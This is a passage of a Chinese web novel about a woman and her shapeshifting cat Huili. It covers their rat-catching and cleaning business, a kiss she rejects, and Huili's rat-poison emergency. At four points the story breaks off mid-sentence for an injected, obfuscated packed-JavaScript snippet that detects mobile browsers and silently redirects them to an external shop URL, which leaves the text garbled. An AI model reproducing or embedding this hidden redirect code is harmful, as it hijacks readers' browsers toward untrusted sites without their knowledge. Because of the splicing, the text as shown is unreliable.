梆的一声,一只大老鼠直接被灰狸一掌抽飞,撞到了玻璃上,它在玻璃上停滞片刻,吐了一口血,这才死不瞑目地缓缓滑下去,在玻璃上留下一道血痕。 场景三分恶心中带着三分幽默,江有鱼不敢再看,扭过头去。 老鼠一方有数量优势,还是组织了几次像样的反攻,试图冲破猫猫们的包围圈,但在灰狸大将军的英明领导下,这些老鼠的企图都被摁灭在猫爪之下,吱吱鼠叫逐渐微弱。 也不知过了多久,屋内厮杀之声才逐渐止息。 只听吱呀一声,大门打开,灰狸换回人形,意气风发地向她招手。 江有鱼走进厂房,只见尸体遍地,血流成河,盘踞在厂房的鼠辈已成历史烟云。 她呼出一口气:“结束了?” “已经一窝端了,但是还得做些后续措施。”灰狸极有经验:“要想以后没有老鼠,还得把老鼠洞给堵上。” 说罢,他便指挥小夜带几个猫去对厂房进行细致地检查,把任何一个可疑的洞都堵起来。 而灰狸,则跟小二他们打扫起了战场,把一条条鼠尸体拖到角落堆起来。 此战结束后,共统计出鼠尸937条,平均每猫歼敌4.5只,老鼠尸山堆在那里,简直像是传说中的京观,江有鱼根本不敢看,闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102186|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼给厂房拍了照片,发给了李厂长交差。 李厂长看到照片,惊讶万分,显然是没想到效果会这么好。 他当即便给江有鱼转了七千元先期款,声称明日他会到场实地感受灭鼠效果,若是真的没有老鼠了,便把剩下的七千给江有鱼打过去。 这种做法也常见,江有鱼心里多少舒服了一点,有了这七千,起码他们就不亏本,交通费算是赚回来了。 时候也不早了,她招呼大家上车回家。 灰狸却没动,他望着墙角的清洁工具,走过去开始擦地。 江有鱼奇道:“你又做什么哟?” 灰狸一脸严肃:“打扫卫生。书上说,给客人一点附加服务,可以让他们有物超所值的感觉,有利于创业者积攒生意口碑和回头客。” 江有鱼无语了:“哪本书教你的?” 灰狸:“《细节决定公司成败》。” ……小猫咪,你是不是太博览群书了?你现在每天都在看些什么哟? 不过灰狸说得也有道理,要是现在不打扫,满地的耗子血也不是个事,实在太恶心了。万一李厂长明天被恶心到了,说不定又要拖欠尾款。 她不再阻拦,灰狸便指挥小猫们开始“清扫卫生”。 猫咪天生就是很爱干净的种族,在家的时候她就发现了,灰狸拖地洗碗擦玻璃,永远都会擦到闪闪发亮才会停止。 现在看来,其他的小猫也一样。毕竟,这是一些流浪时都会把自己打扮得干净整洁的猫,打扫卫生对他们来说,真是小菜一碟。 猫多力量大,一小时之后,老厂房的面貌就焕然一新了! 不要说耗子血,地上连根头发丝都没了,水磨石的地板擦得像是大理石那么亮,连旁边的机器都焕然一新,灯光一打,闪瞎人眼。 不得不说,这么一清扫干净,感觉厂房的地价都能涨点,灰狸擦擦手,感觉这次的活儿干得很完美。 他也没掉以轻心,留下两只猫在这放哨,若后半夜再有漏网之鼠出现,就斩草除根,务必要做到十全十美,客户满意! 江有鱼忍不住问道:“这也是《细节决定公司成败》上教的?” 灰狸:“不,是另一本叫《售后服务定生死》的书上说的。” ……小猫咪你知识学得太杂了喂!话说你到底哪里看到那么多成功学书籍啊? 他们锁了门,回家去了,第二天早上,放夜哨的两只猫也回来了,表明活儿做得确实干净,后半夜并没有老鼠出现。 晚上九点多,江有鱼的手机响起,她拿起一看,发现李厂长发了整整60秒的语音信息过来。 江有鱼懒得听,打开语音转文字功能,发现李厂长满满的都是溢美之辞,把他们的工作成果夸得天上有地上无。 说好话谁不会啊?既然这么满意,钱呢? 江有鱼心里这么想,嘴上却不敢这么说,毕竟金主爸爸才是老大。她也跟着客气了几句,表示为您服务都是我们应该做的云云。 好在周佳琪介绍的人,还是很靠谱的,李厂长说完了客气话,也不含糊,立刻就把钱转了过来。 江有鱼点开转账界面,眼睛一下子瞪大了。 等、等等!怎么是九千元???尾款不是说好是七千的吗? 48.客户的口碑 江有鱼一个微信语音电话就过去了,小心询问道:“您是不是记错了,当时我们定的价格是一万四,昨天您已经给了七千了,今天也只给七千就好。” 李厂长声音带些笑意:“怎么?钱少了你要找我,钱多了你还找我?不满意?” “不不不,哪能呢,但是我们是本分做生意的,干多少活就拿多少钱,你多给了这么多钱,我心里头不安生……” 李厂长哈哈大笑:“好好好,我就喜欢跟你这种本分生意人合作!你也说了,干多少活就拿多少钱,那你们给我做了全屋保洁,该拿多少钱?两千块我还给少了呢!” 江有鱼忙道:“您误会我们了,当时捉完老鼠,屋里弄得很脏,不打扫不行,真没想着要赚您的钱!” 李厂长:“别这么说,年轻人,你们刚起步不容易,想要把活干好,发展回头客,这点小心思我还是看得出来的。正好你们也有保洁业务,顺便展示一下怎么了?” 时下的捕鼠业务往往是包含在家政业中的,李厂长显然也把江有鱼当成从事家政行业的了,并不知道,江有鱼他们只做捕鼠业务。 李厂长自以为勘破了江有鱼的心思,加之活儿确实干得漂亮,也愿意帮他们一把。 毕竟食品厂日后开起来,灭鼠工作也是不能放松的,有个能长久合作的伙伴,对双方都有利。 江有鱼不知道说什么话,只能连连道谢。李厂长又夸奖了她几句,承诺日后会帮江有鱼宣传他们的业务,他的好些朋友都有这方面需要呢! 江有鱼挂了电话,望着那九千元的数字,一时如在梦中。 灰狸从书里看来的招数居然真的有用啊!她发展出回头客了! 灰狸知道了七千变九千的事情,更是雀跃不已,从此对书上说的话更加信服了。 除此之外,他还注意到了一个盲点:“原来打扫卫生也能赚钱?” 那这个他也会呀!只是扫扫地、擦擦桌子、就能赚钱,比捉耗子还简单呢! 他立刻恳求江有鱼:“我也想做保洁,让我也接一些保洁的活吧!” 之前江有鱼根本没往这方面想过,毕竟她创立公司的初衷只是为了让灰狸有个安全的工作干,满足小猫想赚钱的欲望。 赚不赚钱,她压根不在乎,她是想让灰狸高兴。 但是实实在在的一万六千元拿到手,感觉是完全不一样的,江有鱼也动心了。 保洁啊……这份工作也不难,小猫咪完全能够胜任,而且跟捉老鼠不一样,家庭保洁的活很多呢! 云朵市是个大城市,许多年轻人都从外地来这里工作,每次租房或退租,都有家政保洁的需求,而且做保洁的话,灰狸可以戴口罩,这样就不会有人被他的脸吓到了! 思维这么一发散,江有鱼忽然发现,家政真的是个很适合小猫咪的行业,除了保洁跟捕鼠之外,还有很多工作,他们都有优势呢! 他们爱干净,身体轻盈,即使站在窗户边缘擦玻璃也不怕会摔下去,很适合做保洁;他们晚上精力更加充沛,耳目灵敏,做保安也是天赋异禀。 晚上不用睡觉,那他们应该也能尝试做育儿师的工作,毕竟哺乳期的宝宝夜间最爱哭了,很需要陪伴,有猫猫带娃,那能拯救多少新手爸妈啊! 还有,灰狸之前跟她一起去买菜时,能挑中最新鲜的鸡鱼蔬菜,俗话说有好的食材,哪怕白灼都不会太难吃,是不是也可以培养小猫当厨子呢? 怎么办,忽然就觉得前景很热血了呢! 不过,想这些都有点远了,除了保洁跟保安,没有什么工作是小猫能立刻上手的。如果江有鱼真想发展这方面的业务,她必须得请专业的老师来教导他们。 这里说的专业教师,是正儿八经的会家政技能的人,不是猫德教师,江有鱼还找不到这种人,但她觉得这个方向可行。 反正这些小猫闲着也是闲着,要是能学会家政技能,就赚多点;学不会就赚少点,试试没坏处的。 这样想着,她点了点头:“我也觉得不错,干脆我们就往家政行业方向靠拢吧!公司名也要改一改,不叫黎明捕鼠公司了,我们改名叫黎明家政公司吧!” 说干就干,江有鱼当天就把相应的手续办好了,在网络平台上,也加了清扫服务这项。 清扫服务果然市场需求大,接下来几天,陆陆续续有人下单。灰狸一天能接到两三个活,他现在每次□□,都会带一只猫去见习,希望大家能尽快学会清扫技能。 猫猫们对于念书识字没兴趣,但清洁服务这种事情不难,只要勤快细致,就都能干得好。半个月后,有十来只猫都能独立承接清扫任务了。 每次保洁,多则赚三百,少则赚一百,零零散散总有钱进账,灰狸表示生活很充实。 黎明家政公司,也慢慢做出了口碑,不断有回头客上门,还有老客户介绍新客户来,虽然人数不多,但能达成良性循环就是好事。 保洁领域是如此,捕鼠领域也陆续有大单上门。 李厂长上次那番话,并不只是客气而已,他还真在圈子里宣传了。毕竟在食品行业,鼠患问题一直是个老大难。 灰狸的捕鼠技术实在太好了,每到一家捕鼠,基本上就累积了一家回头客,一段日子下来,灰狸忙得根本回不了家,行程从早到晚排得满满的。 曾经早上起床,能在院子里玩球的日子一去不复返了,灰狸现在每天大概只能睡三个小时,还是在交通工具上打盹睡的,要不是他是小猫,恐怕身体早就撑不住了。 江有鱼也劝过灰狸,不要把自己搞得太累,弄坏了身体不值得,但灰狸却表示,他喜欢干活,他热爱工作,一天不上班就浑身难受。 灰狸真的是这么想的。 工作虽然很累,但是能够实实在在地帮助江有鱼,他就一点都不觉得苦。 一个月下来,加上李厂长那个大单,黎明家政公司的营业额达到了三万。 三万,这是一个具有纪念意义的数字,它表示黎明家政公司已经达到了收支平衡,只要有十几只猫在外工作,就能供养全黎明会的猫口。 从今以后,他们不是流浪猫、小偷猫了,他们是能自食其力的猫! 江有鱼也为灰狸高兴,特意订了一个大蛋糕,来庆祝黎明家政公司第一个月运营未亏本。 不要小瞧“未亏本”,要知道,90%的创业者都赔得裤衩子都不剩,第一个月没亏本,往后慢慢发展,巩固客群,第二、第三个月,肯定能够赚到钱的! 虽然说,订了这个蛋糕后,他们亏本了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106819|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一千元~ 灰狸对这个成绩,不算满意,他在心里默默期待,黎明家政公司成为业界龙头的那天。 现在,他一个月能赚三万元了,如果生意更好些,结余就会更多,他希望每个月至少能给江有鱼赚两万元,这样,江有鱼就可以做公主,也很快就能买房子啦。 于是他在切蛋糕时咪咪喵喵了一番“做大做强再创辉煌”,群猫应和,表示只要不学写字算数,万事都好商量。 灰狸致辞结束,大家便开始分蛋糕,各自端回地下室风卷残云去了。 只有江有鱼和灰狸还留在三楼,她端着蛋糕,望着这只商务小猫,眼里写满了骄傲。 这是她的小猫呀,居然这么聪明,这么能干,她的生意刚起步的时候,可比灰狸差远啦! 不光是她,把所有人类都算上,能比灰狸强的也不多吧? 如果……如果他不是一只猫,而是人类的话…… 江有鱼望着他的脸,目光灼灼,一时间竟然不知道自己在想什么。 灰狸察觉到她的目光,插起自己蛋糕上的车厘子,喂给了江有鱼。 江有鱼愣了愣,她并不是想吃车厘子,但是灰狸的投喂,又让她很高兴。 她低头,衔住他手上的车厘子,轻轻一笑。 女子的嘴唇鲜润,如车厘子一般艳红,她唇瓣微动,饱满清甜的果实被挤成一摊软烂殷红的果肉,紫红的果汁顺着唇角滴下来。 看起来好甜啊。 灰狸陶醉地嗅了嗅空气中的水果芳香,本能地捧住江有鱼的头,去舔舐她唇角流下的果汁。 灵活的舌尖,轻柔地扫过江有鱼的嘴唇,湿润如六月的雨,柔软如三月的风。 江有鱼心头巨震,手里的蛋糕差点掉在地上,她想要说些什么,却结结巴巴说不出来。 灰狸的表情也变了,原本他只是想尝尝那颗车厘子的味道,可是…… 不知道为什么,他觉得,江有鱼的嘴唇更好吃。 之前自己怎么没有发现呢? 一种莫名的渴望侵袭了灰狸的心灵,甜,真的很甜,这样甜美的东西,小猫想要尝尝。 江有鱼浑身颤抖,感觉那炽热的目光如有实质,像个聚光灯一样打在她脸上,如斯明亮,将她全身都包裹其中,无处可逃。 她下意识地回退一步:“灰狸,别……” 可是晚了,猫的反应速度是人的七倍,她的动作,在灰狸眼中如同电影的慢镜头一样,轻易便可捕捉。 一切降临得好快。 她来不及挣扎,来不及躲避,她是一只花间的蝴蝶,懵然不知间,便已经被猫爪精准无比地从空中扑下,像灰狸这样的好猎手,从来都是直击要害。 她的眼前一黑,被拥入一个散发着奶油与阳光气息的怀抱,下一秒,一双热乎乎的大手捧住了她的脸。 他在亲她,但又不是往常那种孩子一般天真、赤诚的“亲亲”,只为了表示亲昵和喜爱的“亲亲”。 他温热柔软的唇舌,在她的唇上贪婪地滑动、攫取、吮吸,好像她是一块可口的车厘子蛋糕,而他要把车厘子吞入腹中…… 江有鱼头晕目眩,连呼吸都停滞了。 那不是“亲亲”。 那是一个“吻”。 49.禁忌之吻 他在做什么?他为什么要这样做?他知不知道自己在干什么? 疑问、羞涩、震惊一齐涌入她的脑子,让她不知道作何反应,她唯独能感受到嘴唇上的触感,或轻或重,他的犬齿不时擦过她的嘴唇,酥痒中带些微痛。 她的手在颤抖,心跳在急剧加速,世界无星无月,无我无他,唯一真实存在的,唯有他的气息,他的怀抱,他留在她脸颊的热意。 她慌了,用力向后仰起头:“灰狸,不行……唔……” 她逃不开,他的速度太快了,她是猫爪下的猎物,无论怎么挣扎,都无法逃离他的掌心。 随着她开口说话,更令人羞耻的事情发生了,灰狸的舌尖探进了她的唇齿。 前所未有的刺激升腾,江有鱼再说不出一句话,她听见灰狸也惊讶地抽了一口气,仿佛从未想过世界上还有如此奇妙的体验。 他的动作急切起来,呼吸陡然粗重,像是尝到了什么绝世的美味佳肴,一心只想着拆吃入腹。 江有鱼产生了轻微的耳鸣,她不知道自己在哪里,也不知道自己在干什么,这种快乐是如此的原始、又如此的令人沉醉,她身不由已,越陷越深。 她忘了一切,忘记了对方的身份,没有什么是不行的,她只知道他在吻她,而她也喜欢这个吻。 她不再闪避,而是轻轻咬了咬灰狸的嘴唇。 灰狸无法形容自己此刻的感觉。 他曾经认为,能爬上最高的树顶就是最大的快乐,后来他认为,能抱着江有鱼睡觉就是最大的快乐。 快乐的瞬间那么多,捉住一只鸣蝉、打败一只傻狗、晒到冬天的太阳…… 可是那一切的一切加在一起,也无法抵得上这一秒。 那是他全身的毛毛都要炸开一般的感觉,是在成堆的猫薄荷里打滚一般的感觉,是被妈妈圈在怀里舔脑袋的感觉…… 他越是接触,越是渴求;越是渴求,越是索取。 不行了,人类的语言已经完全无法形容他的感受,灰狸的声带都在颤抖,一声破碎的“喵”从他嘴角溢出。 这喵的一声,唤醒了沉醉的江有鱼。 她在干什么?她怎么能对灰狸……? 理智重新回到了她的脑海里,她向后躲,灰狸却不愿结束这个热吻,捧着她的脸,舌尖辗转深入,越发勾人。 江有鱼再度感受到身体的躁动,险些再次被拖入这危险的漩涡。再这样下去可不行,她摸索着伸出手,掐住了灰狸的后脖颈,将他从自己的嘴唇上扯开。 要害被捉住,灰狸纵使再不情愿,也不得不任她摆布。他不满地喵喵叫起来,声音犹带几分沙哑:“你做什么?我要亲亲!” “不行!不能这么亲!”江有鱼脸颊发烫,“我已经告诉过你了,人类的嘴巴是不可以随便亲的!” “我不是随便亲,我是很认真地亲!” “……那也不行!”江有鱼扶额了,她忍住脸红,给灰狸科普吻的意义,“亲吻,对人类来说,是表达爱意的方式,只能发生在两个互相喜欢的人类之间。” 灰狸睁大了圆圆的眼睛看她:“是啊,我好喜欢你,难道你不喜欢我吗?” 江有鱼无奈了:“不是这种喜欢呀。你是一只小猫,你对我的喜欢,跟我说的喜欢不是一回事。” “有什么不一样?” “就好像你也喜欢小二,但你会跟小二亲吻吗?” “我也经常给小二舔毛的!每次舔到他的嘴巴,他还会说谢谢大哥!” 跟你们小猫咪真是没法讲理! 江有鱼又换了种说法:“只有两个决定相伴一生,无论生老病死都不离不弃、忠贞不贰的人,才能亲吻彼此的嘴巴,你能理解了吗?你对我根本不是这种感情,别胡闹了。” 灰狸委屈极了:“你怎么知道,我对你就不是这种感情?我愿意的呀,一辈子都永远跟你在一起,无论发生什么事情都不分开!” 怎么就说不明白了呢? 江有鱼再想解释,发现已经找不到什么词汇去解释了,再说下去,她自己都要被绕迷糊了。 是呀,难道她不喜欢灰狸吗?她不是也早就决定,一生一世都不抛弃灰狸,要永远照顾他、爱他、保护他、让他高兴? 爱情的定义,不就是如此吗? 江有鱼感到自己已经走到了一个危险的边缘,深渊万丈,下方黑漆漆的令人战栗不已,一步踏错,便会粉身碎骨。 不,不行,这不对,她不能这么想! 她深吸一口气,再次重申,也不知道是在说服灰狸,还是在说服自己:“这种感情……只发生在两个人类之间,人跟小猫,是不可能的。” 灰狸的耳朵垂下来了。 这一次,他听懂了,因为他是一只猫,所以,她不会“爱上”他的。 在这个世界,人跟猫会发生什么感情,是有严格的界限的。 她会拥抱亲吻他,但她也会去摸小喇叭、阿橘、去摸任何一只可爱的猫,她连泰哥的脑袋都亲过呢! 她很喜欢他不假,但这份喜欢,是人类对小猫的喜欢,仅此而已。 他心里把她当成“老婆”,可她只当他是一只猫罢了。 这太不公平了,他气哼哼地背过身去,面冲着墙角,尾巴不高兴地在身后一甩一甩:“我明白了,你嫌弃我是一只猫。” 看着这只气呼呼的大猫,江有鱼想去摸摸他的头,却被灰狸的尾巴打开。 她柔声道:“我不是嫌弃你,灰狸,我是不能这么做。” “为什么?为什么你不能?还不是因为我不是人类!” 江有鱼看着委屈巴巴的灰狸,心里酸涩。 灰狸是猫中的一个异类,因为他实在太过聪明,从前她为这种聪明骄傲,现在她为这份聪明头疼。 寻常小猫只有十二三岁的智力,就像是真正的孩子,情窦未开,对主人只会产生家人般的情感,完全不会有别的想法。 可灰狸的心智,大约能达到人类十七八岁的水平,所有明媚热烈的喜欢都发生在这个年纪,如盛夏骄阳,一往无前,不管不顾。 小猫的心那么纯洁,那么热烈,像是孩子一样天真赤诚,不计后果,她又何尝不为这份喜欢而动心呢? 但她是成年人了,她很清楚,这份情感不能存在。养一只猫是一回事,把一只猫当成终身伴侣,那是另一回事。 说爱很容易,灰狸只是一只小猫,她可以今天说爱他,明天就抛弃他,反正不管她做了什么,都不会有法律束缚她,连道德谴责都没有。 但她是人类,她必须为他们俩负责。 她不能拿灰狸的爱填补自己的寂寞,与他夜间相拥而眠已经是极限。小猫不懂人类的情爱,如果要进展到这一步,她成了什么人了?简直就是在诱骗纯真少年的臭变态! 她柔声道:“我跟你说了,你也不懂。总之,我们之间,不可以有这样的吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110750|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你那么单纯天真,如果我说会爱你,我会感觉自己在欺负你。” “那就尽管来欺负我好了呀!我可以给你欺负的!”灰狸表示抗议。 他一头扎进江有鱼怀里,双臂缠紧她的腰,想着那些讨好人类的伎俩,拼命用头去蹭她的手和脸:“你会爱我,对吗?人人都爱好猫,难道我不是一只好猫吗?” 他仰着脸,无声地在心里请求:看看我呀,看看我的眼睛,你会知道我是认真的。只要你爱我,我什么都会为你做到。 无论是做好猫、还是赚大钱,他都能行的! 江有鱼苦笑了一下,摸摸灰狸的脸:“你会是我最喜欢的一只小猫的。” 都是她的错,她不该放纵自己,自欺欺人地说,灰狸只是用小猫的方式爱着自己,让灰狸跟她一起睡觉,亲吻她,导致今天这种局面。 这是个错误,现在就是纠正错误的时候,纵然残忍,有些事情她还是得做。 她掰开了灰狸缠在她腰间的手:“灰狸,从今天起,我们不能再有亲亲,也不能睡在一起了,这件事情会误导你,以后,你需要回自己的房间睡。” 灰狸不可置信地睁大了独眼。 她这是什么意思?不说爱他,也不能吻他,现在连一起睡觉都不行了吗?他这是要被抛弃了吗? 江有鱼硬起心肠不去看他,转身走回自己的房间,锁上了门。 这一夜过得并不平静。 灰狸始终没有走,上半夜,他一会儿变成人,在外面敲门,一会儿又变成猫,委屈地喵喵叫着挠门,把小爪子从门缝里塞进来,徒劳地抓挠着。 江有鱼隔着门板,说了无数劝慰的话,灰狸这个犟种,却一个字都不听。无论她说什么,回应她的都只有一句话:“让我进去。” 到了下半夜,灰狸兴许是闹累了,终于安静了下来。 江有鱼松了口气,若非如此,她觉得自己就要扛不住,开门放他进来了。 她忍住心里的酸涩,暗暗地想,灰狸会慢慢调整过来的。 这样的结局,对所有人都好。 话虽如此,这一夜,她却无法入眠。 第二天一早,她拖着疲惫的身子起床,一推门,便发现灰狸抱膝坐在门口。 他眼睛通红,耳朵低垂,看那样子,竟然是在门口坐了一夜。 看到她出来了,灰狸死气沉沉的眼睛一下亮起来,他伸手,怯生生地拉住她的裤脚。 江有鱼心中巨震,不知所措。 理智告诉她,应该立刻拔腿就走,不给他任何回应。可是她做不到,当看到灰狸的那一刻,她只剩下了无尽的心疼。 她攥紧了拳头,半晌才慢慢道:“不睡觉,蹲在门口也没有用的,不能进去,就是不能进去,不要再糟蹋自己的身体了。” 这句话像是迎面一脚,踢得灰狸心窝疼痛。 此情此景,跟多年前他被抛弃时多么相像?又一次被关在门外,又一次被放逐出温暖幸福的桃源乡,又一次对一切都无能为力…… 人类的世界,他始终融入不进去。 他喉咙抽搐,忍不住要发出哀哀低泣。 但他到底忍住了,只是伸手,抓紧了江有鱼的裤脚不放。 江有鱼无奈道:“你要做什么?” “……我想要进去拿我的老鼠玩偶。” 灰狸抬头,那目光中的伤心,令江有鱼不敢直视:“不抱着它,我会睡不着的。” 50.灰狸中毒了 那天起,江有鱼跟灰狸之间陷入了一场漫长的冷战。不过,是江有鱼单方面地对灰狸冷战。 没有共枕而眠,没有亲亲抱抱,灰狸难受的抓心挠肝,绕着她的脚跑来跑去,江有鱼却始终置之不理。 她相信,痛苦只是暂时的,重新确立关系界限,对他们两个都有好处,千万不能心软。 虽然,她每天晚上同样睡不着觉就是了。 卧室门外,灰狸安安静静地叼着老鼠玩偶,把自己蜷成一个团,躺在她门前的地毯上,嗅着从门缝中飘出来的,她的气息。 即使她不再允许他进入她的房间,他也依然想要待在离她最近的地方。 毕竟,她没有赶走他,她只是拒绝他再近一步。 一个习惯的养成需要二十一天,冷战已经持续了二十天,江有鱼相信,只要再坚持一天,他们就会适应的。 但偏偏是这一天,出了事情。 这天,灰狸照常出去接单了,今天的工作是去一家本地知名的餐饮店捉老鼠,灰狸带了小二过去。 江有鱼也有自己的事情要忙,不管她和灰狸的关系怎么变,生意还得继续做。 之前她考虑往猫家政的方向转型,老师都已经请来了,给黎明会群猫上了几天课,效果很不错。 既然效果好,她便打算跟家政老师签订长期合同,正式聘为教师。忙了一下午,总算签好了合同。送走了家政老师,她正打算休息一下,手机却忽然响起。 她看见是灰狸的手机号,犹豫片刻,还是接了起来,哪知道,电话那头居然是小二。 “小二?怎么是你打电话来?灰狸呢?” 小二显然惊慌失措,“江老师,大哥他吐血了!怎么办?” “吐血?”江有鱼这一惊非同小可,“怎么会吐血的?到底出了什么事情?” 小二哭道:“我也不知道!刚刚捉老鼠的时候还好好的,大哥忽然就说浑身疼,还想吐,然后他就吐了血,意识也不清醒了,我只好给你打电话……” 江有鱼的心直往下沉,会吐血昏迷,肯定是很严重了,灰狸这是得了什么急病吗?怎么会呢?他一直是非常强壮健康的小猫啊! 但现在不是慌乱的时候,必须赶快把灰狸送到医院去。 她知道灰狸今天的工作地点,好在离他们家不远,江有鱼打了个车,直奔那里。 店长惊慌失措,急得团团转,看到江有鱼来了,抢着说道:“这可不是我们的问题,是这个师傅自己倒下去的!不关我们事!” 现在江有鱼哪里有闲心跟他扯这些?她一把将店长推开:“具体怎么回事,回头再说,先让我看看他怎么样了!” 说罢,她几步冲到灰狸面前,检查他的情况。 一看之下,她心都凉了半截。 灰狸显然极是疼痛,在地上疯狂翻滚,小二根本摁不住他,他的瞳孔缩得只有针尖那么大,肌肤上满是紫色的淤血点,嘴角跟前襟,都是黑红的血迹。 这不像是什么急病发作,倒像是……中毒了! 她顾不上追究到底是谁的责任,也顾不上暴露身份,拍拍灰狸的脸:“灰狸,能听到我说话吗?快变成猫,我送你去动物医院,否则我们搬不动你!” 灰狸早已经疼得没有意识,见有人拍自己的脸,条件反射,张口就咬下去,把江有鱼的手咬得鲜血淋漓。 江有鱼疼得直抽气,但是却没有缩回手,反而更加心疼地抚摸他的头颈。 鲜血滴进灰狸嘴里,灰狸迷迷糊糊地,只觉得那气味好熟悉,像是江有鱼的味道。 是她来了吗?为什么她来亲近他了?她不是很久都不抚摸他了吗?他无意识地哼了起来:“疼……小鱼,我好疼……” 一只手颤抖着拂过他的脸:“乖,快变成小猫,我来抱你去医院呀!” 变成小猫就好了吗?变成猫,就能得到她的拥抱吗? 昏昏沉沉的世界里,这句话像是唯一的一束光,灰狸满心只有一个念头,那就是得到她的疼惜。 下一秒,一只奄奄一息的狸花猫出现在了江有鱼的臂弯。 店长都看傻了,几个员工也连连拍照,江有鱼知道,他们的身份八成要暴露了,可现在不是管这个的时候,她抱起灰狸,大踏步往前走,小二紧随其后。 此时,正是晚餐开市时间,迎面走来一位客人,看着有些眼熟,好像认识她,还张嘴想要打招呼。 是哪个熟人吧,不过江有鱼的心神不在这上面,脚步不停,与他擦肩而过,打了辆车直奔宠物医院而去。 店长出来迎接客人,认出是猫猫天才学院的院长汪泉,连忙笑着打招呼:“汪先生,您又来了?还是楼上包厢吗?” 汪泉一点头:“今天我要请重要客人,你们准备些拿手好菜。” 店长服侍他们进了包厢,汪泉点完了菜,这才装作不经意地问:“刚刚那个抱猫的女人是怎么回事?你们后厨怎么还有猫?” 店长哪敢让客人知道后厨有老鼠的事情,连忙找些话搪塞:“没事,是我的熟人,正好带着她的猫到店里玩。” “玩?我怎么看着,那猫快要死了?” 店长道:“意外,猫突然生病了,所以她才急匆匆地走了,您怎么这么关注这件事?” 汪泉哪会告诉他自己跟有鱼猫德学院的恩恩怨怨,当下道:“别瞎打听,出去吧,叫个服务员来,再帮我泡两壶好茶。” 店长应声出去,汪泉想起刚刚江有鱼的表情,总觉得事情没那么简单,也许,一会儿可以问问服务员…… 江有鱼抱着灰狸,不停地拍抚他,灰狸痛得连声惨叫,那叫声像是刀子一样直扎她的心窝,让她也疼痛不已。 她不住地催促司机快点开,好不容易到了医院,她抱着灰狸就往挂号处跑,还是小二付的车费。 医生一看灰狸的样子,就知道是怎么回事了:“这是误服了老鼠药,得马上洗胃!你快去交钱,老鼠药中毒越快洗胃越好,耽误时间就没救了!” 江有鱼火速去交钱,医生也不含糊,立刻就开始准备手术器械。 江有鱼六神无主:“洗胃之后就能好吗?” “这个没法保证,也有恢复得好的,也有抢救不回来的,等到洗胃完毕,我再给他做详细检查吧。” 两个护士按住灰狸,先是抽了几管血去化验,灰狸又难受又恶心,想要挣扎又没力气,只是在嗓子里嗷嗷地叫着,浑身发抖。 昔日威风凛凛,强壮如同小狮子的灰狸,现在居然这样衰弱,江有鱼的心,疼得好像有人戳了一万个窟窿。 她的眼泪吧嗒吧嗒掉下来,伸手抚摸灰狸的头:“乖猫猫,很快,很快就没事了,忍着点……” 江有鱼的气味飘了过来,那对灰狸来说,就是最好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115551|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇静剂,他安静下来,安慰地舔舔江有鱼手上的伤口。 护士斜眼看她一下:“你手上的伤要不要处理?” 江有鱼摇头,现在她哪顾得上这些:“我没事。” 医生给灰狸上了一点麻醉后,就开始插胃管,江有鱼不能旁观这个过程,只得跟小二一起,在门外焦急等待。 她问小二:“灰狸怎么会吃了老鼠药?到底怎么回事?” 小二哭丧着脸:“我想起来了,当时我们来的时候,店长说他们店之前就用了些老鼠药,还剩半瓶子药水,就放在角落的一个矿泉水瓶里。” “我们干活的时候,服务员又送了两瓶矿泉水来,大哥喝了一半之后,又接着干活,肯定是忙着忙着就喝错了瓶子……” 江有鱼懊恼地一跺脚,一时间不知道该怪谁。 怪店家不应该用矿泉水瓶装老鼠药?人家已经提醒过了,总不能说是店家未尽义务。加上送矿泉水也是一番好意,谁知道能拿错呢? 怪来怪去,还是怪她自己,一只小猫就乖乖待在家好了,出去赚什么钱啊!她简直是想钱想疯了,才会让一只猫来赚钱给自己花! 半小时后,医生把灰狸送了出来,灰狸看起来麻醉劲儿还没过,闭着眼睛,舌头也吐了出来。 江有鱼连忙迎上前:“医生,怎么样了?” 